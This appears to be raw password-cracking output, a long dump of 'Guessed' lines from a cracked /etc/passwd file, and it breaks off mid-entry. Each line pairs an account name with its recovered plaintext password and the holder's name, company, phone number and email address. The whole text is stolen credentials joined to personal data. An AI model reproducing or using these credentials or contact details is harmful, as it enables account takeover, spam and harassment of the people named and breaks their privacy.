[etc_passwd.fixed /bin/tcsh] Guessed bfranklin [bfranklin [SUCCESS]] Jon Bender / Gary Roggles,,919-848-5698 Fax,peakpr4mer(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed ourcoinc [ourcoinc [PROSPER]] Sheryl Joyner,Ourco Inc.,301-931-0868, [etc_passwd.fixed /bin/tcsh] Guessed bfepro [bfepro [BFE5253]] Ben Ewing,BFE Enterprises,502-339-6356, [etc_passwd.fixed /bin/tcsh] Guessed moneyman [moneyman [SUZANNE]] Al Walentis,VG Productions,610-370-2340,cyber1(a)nni.com [etc_passwd.fixed /bin/tcsh] Guessed gfaiusa [gfaiusa [MONEY]] Cliff Durrett,,813-397-3120, [etc_passwd.fixed /bin/tcsh] Guessed exciting [exciting [SPECIAL]] Daniel Sheehey,,707-822-8324,djshee(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed autod [autod [GOGO]] Stephen Gregory,,512-388-0530, [etc_passwd.fixed /bin/tcsh] Guessed lifeinfo [lifeinfo [LIFE]] Pete Mckeown,Life Extension,303-985-4371,leipro(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed setmefree [setmefree [SECRET]] Steve Walker,The Financial Alliance,904-387-1628,plsfreeme(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed cowcr [cowcr [COWCR]] Dr. Cathy L. White-Owen MD,,216-844-5950,whatzmoney(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed gpwhitepaper [gpwhitepaper [FRED]] Ernest Orwig,Global Perspectives LLC,201-244-1200 x 239, [etc_passwd.fixed /bin/tcsh] Guessed accobra [accobra [ACCOBRA]] Glenn Pack,,, [etc_passwd.fixed /bin/tcsh] Guessed gasoline [gasoline [ANTHONY]] Mike Jacobellis,,,magnet(a)exp.net [etc_passwd.fixed /bin/tcsh] Guessed herpesinfo [herpesinfo [FREECTR]] Dr. Steve Yates,The Freedom Center,212-281-7397, [etc_passwd.fixed /bin/tcsh] Guessed richman [richman [SUZANNE]] Al Walentis,VG Productions,610-370-2340,cyber1(a)nni.com [etc_passwd.fixed /bin/tcsh] Guessed christian [christian [SUCCESS]] Jon Bender,peakpr4mer(a)aol.com,, [etc_passwd.fixed /bin/tcsh] Guessed goinfo [goinfo [GREEN]] Jim Hill,,609-926-9661, [etc_passwd.fixed /bin/tcsh] Guessed datalux [datalux [WALLACE2]] Carole Moses,Crestar Enterprises,516-223-3607,careve(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed matrix [matrix [MATRIX]] Martin Parker,,matrixfund(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed sti [sti [FROGGY]] Alain Senac,,970-479-9757, [etc_passwd.fixed /bin/tcsh] Guessed wwjp [wwjp [TRAVEL]] Jeff Pinkus,,610-408-0386, [etc_passwd.fixed /bin/tcsh] Guessed team1 [team1 [SUCCESS]] Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh] Guessed genesisgroup [genesisgroup [BRYAN]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed telecomm [telecomm [PARADIGM]] Greg Scudder,,805-544-6251, [etc_passwd.fixed /bin/tcsh] Guessed goodchecks [goodchecks [RAINBOW]] Greg Beasley,National Payment Systems,614-792-9490, [etc_passwd.fixed /bin/tcsh] Guessed rpalm [rpalm [HAMMER]] Richard Palmer,Palmer Productions,510-685-7671, [etc_passwd.fixed /bin/tcsh] Guessed info4unow [info4unow [ASHLEY]] Marty Figgs,,302-633-4138, [etc_passwd.fixed /bin/tcsh] Guessed skeptics [skeptics [COWCR]] Dr. Cathy L. White-Owen MD ,,216-844-5950,whatzmoney(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed goodincome [goodincome [MARKETIN]] Ron Linkous,,804-741-4432,rlink15133(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed tgtbt [tgtbt [COWCR]] Dr. Cathy L. White-Owen MD ,216-844-5950,whatzmoney(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed mailordman [mailordman [VICTOR]] Donald Wright,,800-772-0794, [etc_passwd.fixed /bin/tcsh] Guessed peteexcel [peteexcel [CAMERON]] Pete Maneos,,610-337-1468,newmedia30(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed higher [higher [SUCCESS]] Eric gordon,,909-653-2357,teammlm(a)earthlink.net [etc_passwd.fixed /bin/tcsh] Guessed gasinfo [gasinfo [ANTHONY]] Mike Jacobellis,\,,magnet(a)exp.net [etc_passwd.fixed /bin/tcsh] Guessed asomerset [asomerset [SOMERSET]] DIANNA GIBBS,,214 789-2940, [etc_passwd.fixed /bin/tcsh] Guessed childstory [childstory [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed hokamix [hokamix [STERLING]] Michael Medefind,Aellen Enterprises,916-987-1234,meandre(a)christcom.net [etc_passwd.fixed /bin/tcsh] Guessed gab [gab [NEWLIFE]] Yvonne Orthmann,,508-428-9101, [etc_passwd.fixed /bin/tcsh] Guessed galatic [galatic [GALATIC]] Karl Thompsan,,317-933-2828, [etc_passwd.fixed /bin/tcsh] Guessed report [report [INTERNET]] Bryan Sullivan,,805 772-6188, [etc_passwd.fixed /bin/tcsh] Guessed mountain1 [mountain1 [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed scanman [scanman [ASHLEY]] DAniel Goutas,,714-897-7542, [etc_passwd.fixed /bin/tcsh] Guessed bwealthy [bwealthy [SUCCESS]] Barry Disney,Network Marketing Group,513-554-4843, [etc_passwd.fixed /bin/tcsh] Guessed truthnet [truthnet [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed essentials [essentials [SUSAN]] Susan Pottish,,415-453-9546,svand(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed laser1 [laser1 [FREEDOM]] Bud Riley,,612-224-8331, [etc_passwd.fixed /bin/tcsh] Guessed mother [mother [ANTHONY]] Mike and Amy Jacobellis,North Pole Magnet Co,409-840-9407,magnet(a)iosys.net [etc_passwd.fixed /bin/tcsh] Guessed freedom4u [freedom4u [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed pyruvate [pyruvate [WHEELS]] Jerry Schneider,,,pyruvate(a)ournetwork.com [etc_passwd.fixed /bin/tcsh] Guessed acarnegie [acarnegie [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed tatiana [tatiana [JOSEPH]] Jose Diaz,Diaz Specialty Merchandise,718-672-6225, [etc_passwd.fixed /bin/tcsh] Guessed gor [gor [GORAVANI]] Das Goravani,Goravani Astrological Services,800-532-6528 or 541-485-8453, [etc_passwd.fixed /bin/tcsh] Guessed somerset [somerset [SOMERSET]] Dianna Gibbs,,214-789-2940, [etc_passwd.fixed /bin/tcsh] Guessed wheels [wheels [WHEELS]] Tony Marsello,,,multichev(a)earthlink.net [etc_passwd.fixed /bin/tcsh] Guessed freeeagle [freeeagle [FREEDOM]] Joe Reynolds,,, [etc_passwd.fixed /bin/tcsh] Guessed team2 [team2 [SUCCESS]] Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh] Guessed aplus [aplus [STUDY]] Tim Ryan,A+ Tutors,603-659-5903, [etc_passwd.fixed /bin/tcsh] Guessed theraven [theraven [KABOOM]] Leonora Torian,,410-727-2611, [etc_passwd.fixed /bin/tcsh] Guessed lash [lash [ANTHONY]] bob Anthony / Larry Kirsch,,954-748-3510, [etc_passwd.fixed /bin/tcsh] Guessed career [career [CHOICE]] Jeanette Turner,,941-351-5804, [etc_passwd.fixed /bin/tcsh] Guessed giveinfo [giveinfo [VINCENT]] Vincent Garguilo,,718-256-0904,vinigar(a)peakaccess.net [etc_passwd.fixed /bin/tcsh] Guessed ournetwork [ournetwork [WHEELS]] Jerry Schneider,,206-588-0096,75020.2702(a)compuserve.com [etc_passwd.fixed /bin/tcsh] Guessed lightquest [lightquest [GORDON]] Gordon M. Curry,,972-431-4956,lightquest(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed visionpics [visionpics [RESPONSE]] Jason Kristofer,Visionary Pics,213-655-7666, [etc_passwd.fixed /bin/tcsh] Guessed wwjpwwjpwwjp [wwjpwwjpwwjp [TRAVEL]] Warren,,, [etc_passwd.fixed /bin/tcsh] Guessed jeffsmoney [jeffsmoney [JEFFSMON]] Jeff Jacobs,J+J Enterprises,212-290-4517,jeff(a)superteam.com [etc_passwd.fixed /bin/tcsh] Guessed global [global [DISCOVER]] Frank Martinez,Global TradeNetwork,515-279-5204, [etc_passwd.fixed /bin/tcsh] Guessed linktvmem [linktvmem [LINKTVME]] Ernie Lamonica,,702-828-9003, [etc_passwd.fixed /bin/tcsh] Guessed phone [phone [PHONE]] Susan Pottish,,415-453-9546,svamd(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed products [products [MOUNTAIN]] Joe Kuhn,,908-220-1110,qwikmail(a)raven.cybercomm.net [etc_passwd.fixed /bin/tcsh] Guessed tnoni [tnoni [HEALTH]] Michael Avenoso,Riverwood Health,501-253-2535,amstar7(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed stink [stink [GREATSEX]] Gary Fisher,,415-306-9466, [etc_passwd.fixed /bin/tcsh] Guessed judge [judge [VANELGOR]] Howard Van Elgort,,604-246-9114, [etc_passwd.fixed /bin/tcsh] Guessed beitall [beitall [DOITNOW]] Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh] Guessed infolink [infolink [BARRYD]] Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh] Guessed bugbox [bugbox [BARRYD]] Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh] Guessed seicom [seicom [Hubertt]] Hubert Trotman,Safari Equities Inc.,718-994-2801, [etc_passwd.fixed /bin/tcsh] Guessed yourreply [yourreply [REPORTS]] Vince Bedell,AAA Discount,702-564-9651,vince2602(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed wholesale [wholesale [CLONE]] Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh] Guessed profitsnow [profitsnow [MATTG]] Matt Glaspie,,810-669-1564, [etc_passwd.fixed /bin/tcsh] Guessed freshair [freshair [BRADNEAR]] Brad Near,,, [etc_passwd.fixed /bin/tcsh] Guessed succeednow [succeednow [MARTINR]] Martin Ruiz,Golden Success,904-532-9753,martin(a)goldensuccess.com [etc_passwd.fixed /bin/tcsh] Guessed cmc [cmc [RANDYC]] Wayne Cook,712-252-2154,, [etc_passwd.fixed /bin/tcsh] Guessed contacts [contacts [MARTINRU]] Martin Ruiz,Golden Success,904-532-9753,martin(a)goldensuccess.com [etc_passwd.fixed /bin/tcsh] Guessed a1amway [a1amway [CLONE]] Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh] Guessed bizinfo [bizinfo [FLIGHT]] Shawn Bogardus,Worldnet Data Services,301-926-6882, [etc_passwd.fixed /bin/tcsh] Guessed profitsonline [profitsonline [MATTG]] Matt Glaspie,,, [etc_passwd.fixed /bin/tcsh] Guessed gasmlm [gasmlm [GSCHMIDT]] Dr. George Schmidt,Gardens Eyecare,407-622-8200,Dr.Schmidt(a)usa.net [etc_passwd.fixed /bin/tcsh] Guessed infosoft [infosoft [BRANDY]] Jay Pinkus, ,215-953-8239, [etc_passwd.fixed /bin/tcsh] Guessed ion [ion [MATTG]] Matt Glaspie,ION,810-669-1564, [etc_passwd.fixed /bin/tcsh] Guessed mktamerica [mktamerica [CLONE]] Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh] Guessed futureplan [futureplan [STMARTIN]] Tracy Dickson-Depaoli,Neways Inc.,604-526-6721, [etc_passwd.fixed /bin/tcsh] Guessed inside [inside [INFO1]] Mark A. Watts,Inside Access,503-612-0538,insideacc(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed healthnow [healthnow [HARRY1]] Thomas M. Cox,,dodger3(a)laker.net, [etc_passwd.fixed /bin/tcsh] Guessed sms [sms [HARRY1]] Suzanne Schnell,,206-953-9372, [etc_passwd.fixed /bin/tcsh] Guessed success1 [success1 [PROMO1]] GREG SCUDDER,,805-544-6251, [etc_passwd.fixed /bin/tcsh] Guessed yousave [yousave [HARRY1]] Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed paulott [paulott [PAULOTT1]] Paul Ott,941-731-7855,pott123(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed savenow [savenow [HARRY1]] Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed utilizatt [utilizatt [FREEDOM2]] Joe Reynolds,Free Eagles Enterprises,, [etc_passwd.fixed /bin/tcsh] Guessed eric [eric [DIANE2]] Eric Lederman,,714-951-9027, [etc_passwd.fixed /bin/tcsh] Guessed contino [contino [CAREER4]] Carl Contino,First Family Internet Services,716-834-0057,contino(a)ffinternet.com [etc_passwd.fixed /bin/tcsh] Guessed emailfarmer [emailfarmer [RENERENE]] BARRY DISNEY,,, [etc_passwd.fixed /bin/tcsh] Guessed lighthouse [lighthouse [DATADATA]] Mimi Morissette,,503-203-1349, [etc_passwd.fixed /bin/tcsh] Guessed earthtrust [earthtrust [DATADATA]] Mimi Morressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed empire [empire [RENERENE]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed earthangels [earthangels [DATADATA]] Mimi Moiressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed futurenet [futurenet [DATADATA]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed lighthouses [lighthouses [DATADATA]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed astrology [astrology [DATADATA]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed bkinfo [bkinfo [RAYRAY]] Kareem Hassan,,216-439-1019,hawk7640(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed goldenaura [goldenaura [DATADATA]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed shakespeare [shakespeare [DATADATA]] Mim i Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed rolyatge [rolyatge [DRAWDE]] George Taylor,,717-424-1816, [etc_passwd.fixed /bin/tcsh] Guessed rolyat [rolyat [DRAWDE]] George Taylor,Taylor Computerized Services,717-424-1816, [etc_passwd.fixed /bin/tcsh] Guessed details13 [details13 [111111]] Dave,Sheehan & Associates,,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed ompd [ompd [111111]] Dave Sheehan,,708-954-9101, [etc_passwd.fixed /bin/tcsh] Guessed detailsnow [detailsnow [000000]] Bob Wagner,,305-534-2769, [etc_passwd.fixed /bin/tcsh] Guessed remove3 [remove3 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed details14 [details14 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed details15 [details15 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed vlk9 [vlk9 [123456]] ,VLK9 Network,602-874-9247,kat187(a)juno.com [etc_passwd.fixed /bin/tcsh] Guessed details12 [details12 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed hitme [hitme [000000]] Bob Wagner,Amerinet,305-534-2769,amerinet(a)bridge.net [etc_passwd.fixed /bin/tcsh] Guessed mkiely [mkiely [12345]] Al Walentis,VG Productions,610-370-2340,cyber1(a)nni.com [etc_passwd.fixed /bin/tcsh] Guessed vlk9a [vlk9a [123456]] Nancy A Tietien,VLK9 Network,602-874-9247,kat187(a)juno.com [etc_passwd.fixed /bin/tcsh] Guessed lists [lists [JOSHUA]] Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed website [lists [JOSHUA]] Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh] Guessed morinfo [morinfo [CESSNA]] John Fraine,,941-732-1872,hirate(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed ragesking [ragesking [KIMMY]] Gary S. Kuzel,,630-985-5191,gskinc(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed pichx [pichx [DRAGON]] Bernhard Bowitz,,852-9-190-3688, [etc_passwd.fixed /bin/tcsh] Guessed srdindusry [srdindusry [SAILING]] Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh] Guessed softcell [softcell [SOFTIE]] Adam Morgan / Softcell,,212-953-5234, [etc_passwd.fixed /bin/tcsh] Guessed glory [glory [HUMBOLDT]] Pamela Murphy,,901 784-6036, [etc_passwd.fixed /bin/tcsh] Guessed mybox [mybox [FORWARD]] Thomas Cox,,, [etc_passwd.fixed /bin/tcsh] Guessed xtraco [xtraco [ORANGES]] Joseph Ambrose,,800-247-0792 / 810-767-8405 / 810-767-1884,xtraco(a)cris.com [etc_passwd.fixed /bin/tcsh] Guessed eznrg [eznrg [DIAMOND]] Kim Krueger,,602-878-8812, [etc_passwd.fixed /bin/tcsh] Guessed a030253 [a030253 [SIERRA]] GEORGE NIELSEN,01133130324163,, [etc_passwd.fixed /bin/tcsh] Guessed egtech [egtech [JOSHUA]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed homelab [homelab [MIRACLES]] Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh] Guessed mktginfo [mktginfo [MARTHA]] Robert Hutton,,,RHutton(a)mail.idt.net [etc_passwd.fixed /bin/tcsh] Guessed mikeplus2 [mikeplus2 [SNIFFY]] Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh] Guessed vistagroup [vistagroup [KODIAK]] George Gaul,The Vista Group,303-674-2256,captain(a)ecentral.com [etc_passwd.fixed /bin/tcsh] Guessed thanku [thanku [ELBOWS]] Doug Sutton,,, [etc_passwd.fixed /bin/tcsh] Guessed herbalpc [herbalpc [SPUNKY]] Pat Connolly / Joyce,,309-691-1762,herbalpc(a)ix.netcom.com [etc_passwd.fixed /bin/tcsh] Guessed testing [testing [MIRACLES]] Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh] Guessed wolfgang [wolfgang [OLIVER]] Bui VaneLinde,,, [etc_passwd.fixed /bin/tcsh] Guessed llgun [llgun [LOKEY]] Lois Gunnerson,Dynamic Marketing Group,602-949-0031, [etc_passwd.fixed /bin/tcsh] Guessed xpres [xpres [LANSING]] Shawn Sageghieh,Email Express,714-568-9688,714-443-4559 [etc_passwd.fixed /bin/tcsh] Guessed give [give [TUCKER]] Jay Holtman,,312-666-4956, [etc_passwd.fixed /bin/tcsh] Guessed zen [zen [KITTY]] Joe Zielinski,Z Lite,708-720-4929, [etc_passwd.fixed /bin/tcsh] Guessed mustsee [mustsee [JACKSON]] Tom Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed aopptun [aopptun [BENNIE]] AMOS FISHER,,, [etc_passwd.fixed /bin/tcsh] Guessed amnat3 [amnat3 [PARROT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed hologram [hologram [PHONECAR]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed injuredjoe [injuredjoe [CAPTAIN]] Todd Syska,,914-266-8322, [etc_passwd.fixed /bin/tcsh] Guessed healthy4u [healthy4u [BEGIN]] Betty M. Colombo,healthyu(a)juno.com,516-541-3001,516-541-3079 [etc_passwd.fixed /bin/tcsh] Guessed tntalgae [tntalgae [FROSTY]] Todd Thompson,,303-765-5950, [etc_passwd.fixed /bin/tcsh] Guessed gks [gks [DANCER]] Callie Goodrum,GKS Enterprises,706-554-6181, [etc_passwd.fixed /bin/tcsh] Guessed praetor [praetor [TEMP]] Dave Browning,,, [etc_passwd.fixed /bin/tcsh] Guessed midstateop [midstateop [SPIKE]] Terry Eisenberg,,717-741-1159, [etc_passwd.fixed /bin/tcsh] Guessed extractor [extractor [JOSHUA]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed lorios [lorios [DOLORES]] Al Brooks,,619-487-9664, [etc_passwd.fixed /bin/tcsh] Guessed zitbuster [zitbuster [ARTURO]] Art Sel Barrio,Art *Del* Barrio,210-581-7163, [etc_passwd.fixed /bin/tcsh] Guessed showcase [showcase [MIDAS]] Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh] Guessed ableman [ableman [SEESAW]] Barry G. Swenson / Reg Hardy,Able Co. Services Inc.,954-565-0270,954-563-1767 [etc_passwd.fixed /bin/tcsh] Guessed infotape [infotape [STARFISH]] Delbert Rohm,,509-332-6308, [etc_passwd.fixed /bin/tcsh] Guessed thegreen [thegreen [PEPPER]] Mark Olynyk,Green Pages,201-785-0024, [etc_passwd.fixed /bin/tcsh] Guessed aperillo [aperillo [BUNNER]] Anthony Perillo,,516-822-6395, [etc_passwd.fixed /bin/tcsh] Guessed csn [csn [BASKETBA]] Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops(a)kudos.net [etc_passwd.fixed /bin/tcsh] Guessed secret [secret [ALEXANDR]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed details [details [SKIPPY]] ,Kevin Griffith,770-967-0726, [etc_passwd.fixed /bin/tcsh] Guessed biznews [biznews [DRAGON]] Linda Bruton,,510-704-1466, [etc_passwd.fixed /bin/tcsh] Guessed hummingbrd [hummingbrd [CLOVER]] gil Gerald,Gil Gerald And Associates,213-953-7980, [etc_passwd.fixed /bin/tcsh] Guessed minesh [minesh [ASHWIN]] A. Bhindi,Ambassador Finance,011-44-0081-597-1262,ashinuk(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed JBA1231 [JBA1231 [STARSHIP]] Jorge Acevedo,,212-856-7658, [etc_passwd.fixed /bin/tcsh] Guessed freelance [freelance [SELINA]] Bob Thompson,,864-232-0743, [etc_passwd.fixed /bin/tcsh] Guessed univer [univer [PIPER]] James Rockwell,,909-466-1411, [etc_passwd.fixed /bin/tcsh] Guessed rhutton [rhutton [MARTHA]] Robert Hutton,Marketing Concepts,212-333-3131, [etc_passwd.fixed /bin/tcsh] Guessed agape [agape [LOGOS]] Adrian Watson,Y.A.M. Incorporated,,hpatrick(a)nls.net [etc_passwd.fixed /bin/tcsh] Guessed awareness [awareness [HAPPY]] Mark Hecox,VAliente Marketing,714-779-7154, [etc_passwd.fixed /bin/tcsh] Guessed capital [capital [CESSNA]] Louten Hedgpeth & Jack Langhorne,,910-392-7122,lrhedgpeth(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed infostart [infostart [GOFORIT]] Gary Brendle,,410-349-1260, [etc_passwd.fixed /bin/tcsh] Guessed donl [donl [DONELLE]] Don Lewis,,909-985-0651, [etc_passwd.fixed /bin/tcsh] Guessed peak [peak [ORGASMIC]] Ron Goulet,,520-779-5342, [etc_passwd.fixed /bin/tcsh] Guessed vipvalues [vipvalues [GRACE]] Michael Franklin,V.I.P.,213 753-9241, [etc_passwd.fixed /bin/tcsh] Guessed lilleyen [lilleyen [GANDALF]] Richard Lilley,Lilley Enterprises,905-319-1369, [etc_passwd.fixed /bin/tcsh] Guessed ozone [ozone [TOWLES]] Jogn Towles,,817-859-5187, [etc_passwd.fixed /bin/tcsh] Guessed welcome [welcome [SNOWSTOR]] Joe Kuhn,,908-220-1110,qwikmail(a)raven.cybercomm.net [etc_passwd.fixed /bin/tcsh] Guessed child [child [MIDAS]] Bill Panchuck,Showcase,eaglekoz(a)ix.netcom.com, [etc_passwd.fixed /bin/tcsh] Guessed cellular [cellular [DISKETTE]] John Hendrix,Simply Natural Prod,713 484-3490, [etc_passwd.fixed /bin/tcsh] Guessed sponsors [sponsors [BASKETBA]] Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops(a)kudos.net [etc_passwd.fixed /bin/tcsh] Guessed cbccorp [cbccorp [SCOUT]] Peter Donofrio,,, [etc_passwd.fixed /bin/tcsh] Guessed autoreply [autoreply [NORTHLAN]] Karen Nelson,Northland Specialty Products,218-727-8641,rnelson(a)cp.duluth.mn.us [etc_passwd.fixed /bin/tcsh] Guessed money4u [money4u [KELLY]] PJ Graves,P. Graves Publishing,415-668-9583, [etc_passwd.fixed /bin/tcsh] Guessed stealdeals [stealdeals [ENERGIZE]] Barry Sowder,,407-332-0400, [etc_passwd.fixed /bin/tcsh] Guessed gcmkt [gcmkt [CRAWFISH]] Neil Goodman,,504-766-8843, [etc_passwd.fixed /bin/tcsh] Guessed autofuture [autofuture [CADILLAC]] Andre West,,313-709-4667, [etc_passwd.fixed /bin/tcsh] Guessed freeway1 [freeway1 [SLACKER]] Brian Perisho,,317-241-4918, [etc_passwd.fixed /bin/tcsh] Guessed jl [jl [MILAGROS]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed bewealthy [bewealthy [GREENBAC]] John Wright,334-286-6275,, [etc_passwd.fixed /bin/tcsh] Guessed freeinfo [freeinfo [CHICLET]] Alan Lange,,, [etc_passwd.fixed /bin/tcsh] Guessed deepbreath [deepbreath [ANANDA]] Dr. Joy Rausmussen,,, [etc_passwd.fixed /bin/tcsh] Guessed gcprod [gcprod [PRODUC]] Gary Cuminale,GNC Products,716-381-7132, [etc_passwd.fixed /bin/tcsh] Guessed infocenter [infocenter [ACCUSER]] Maynard S. White,,805-945-0351, [etc_passwd.fixed /bin/tcsh] Guessed grants [grants [TERESA]] Victor Chapman,CM Consulting,516-377-3307,roger7891(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed vision [vision [THUNDER]] Paula Stoup,,717-783-6465,paulas1043(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed mikeplus1 [mikeplus1 [SNIFFY]] Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh] Guessed srdcorp [srdcorp [SAILING]] Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh] Guessed bncentprs [bncentprs [JESUS]] Robert Goldinger,BNC Enterprises,757-548-2179, [etc_passwd.fixed /bin/tcsh] Guessed shamrock [shamrock [CYPRESS]] Tom Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed dlbedding [dlbedding [CHANCE]] Bill Dantuoson,Donalee Bedding,516-783-9896,billydlm(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed frsecurity [frsecurity [THISISIT]] Robert Davis,,803-667-0702,jdr02(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed david [david [REBECCA]] David Richards,717-242-0873,, [etc_passwd.fixed /bin/tcsh] Guessed pegasustrv [pegasustrv [LIZZIE]] Claire Covington Altorfer,Pegasus Travel,510-825-5777, [etc_passwd.fixed /bin/tcsh] Guessed employnews [employnews [INGRID]] Reginald Barefield,,610-798-7869, [etc_passwd.fixed /bin/tcsh] Guessed carproinc [carproinc [GROSS]] Wayne T. Carsey Jr.,Car Pro Inc,916-853-9721,wcarsey(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed alexis [alexis [WHALES]] Mary Knorr,Medical Herbal Resources,602-678-4362, [etc_passwd.fixed /bin/tcsh] Guessed topscan [topscan [JUSTIN]] David Hall,,910-855-6375, [etc_passwd.fixed /bin/tcsh] Guessed mattken [mattken [INWOOD]] Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed travelagt [travelagt [GOLDIE]] David Goldsmith,Hello World Travel,847-673-7610, [etc_passwd.fixed /bin/tcsh] Guessed coupons [coupons [DISKETTE]] John Hendrix,,, [etc_passwd.fixed /bin/tcsh] Guessed salesunlim [salesunlim [COYOTE]] Ronald Wiley,Sales Unlimited Inc.,908-780-2590, [etc_passwd.fixed /bin/tcsh] Guessed incomeplus [incomeplus [CHELSEY]] Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh] Guessed lecram [lecram [BARUCH]] Rene Roussey,,516-283-4240, [etc_passwd.fixed /bin/tcsh] Guessed mortgage [mortgage [PEANUT]] Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh] Guessed ucan2 [ucan2 [NAMASTE]] Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh] Guessed hotbiz [hotbiz [ALBERTA]] Ted Benedict,,604-535-3304, [etc_passwd.fixed /bin/tcsh] Guessed sjsent [hotbiz [ALBERTA]] Steven Spohn,SJS Enterprises,610-987-9272, [etc_passwd.fixed /bin/tcsh] Guessed findout [findout [SWISHER]] Ben Vann,Blue Whale Media,910-785-9296,bvann(a)whalemail.com [etc_passwd.fixed /bin/tcsh] Guessed prosper [prosper [SITUATIO]] Daniel Sheehey,,707-822-8324,djshee(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed iaplus [iaplus [SALOME]] Amos Fisher,,717-354-6594, [etc_passwd.fixed /bin/tcsh] Guessed light [light [RAYMOND]] AMOS FISHER,,717 354-4046, [etc_passwd.fixed /bin/tcsh] Guessed cheapcalls [cheapcalls [MAGICAL]] Richard Rubenstein,,219-864-2501,rnr(a)pla.net.net [etc_passwd.fixed /bin/tcsh] Guessed bigprofits [bigprofits [DROSOPHI]] Steven Ayer,Internet Marketing Solutions,203-421-5070,bigprofits(a)writeme.com [etc_passwd.fixed /bin/tcsh] Guessed powernow [powernow [CHELSEY]] Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed drchris [drchris [PSYCHE]] Dr. Chris 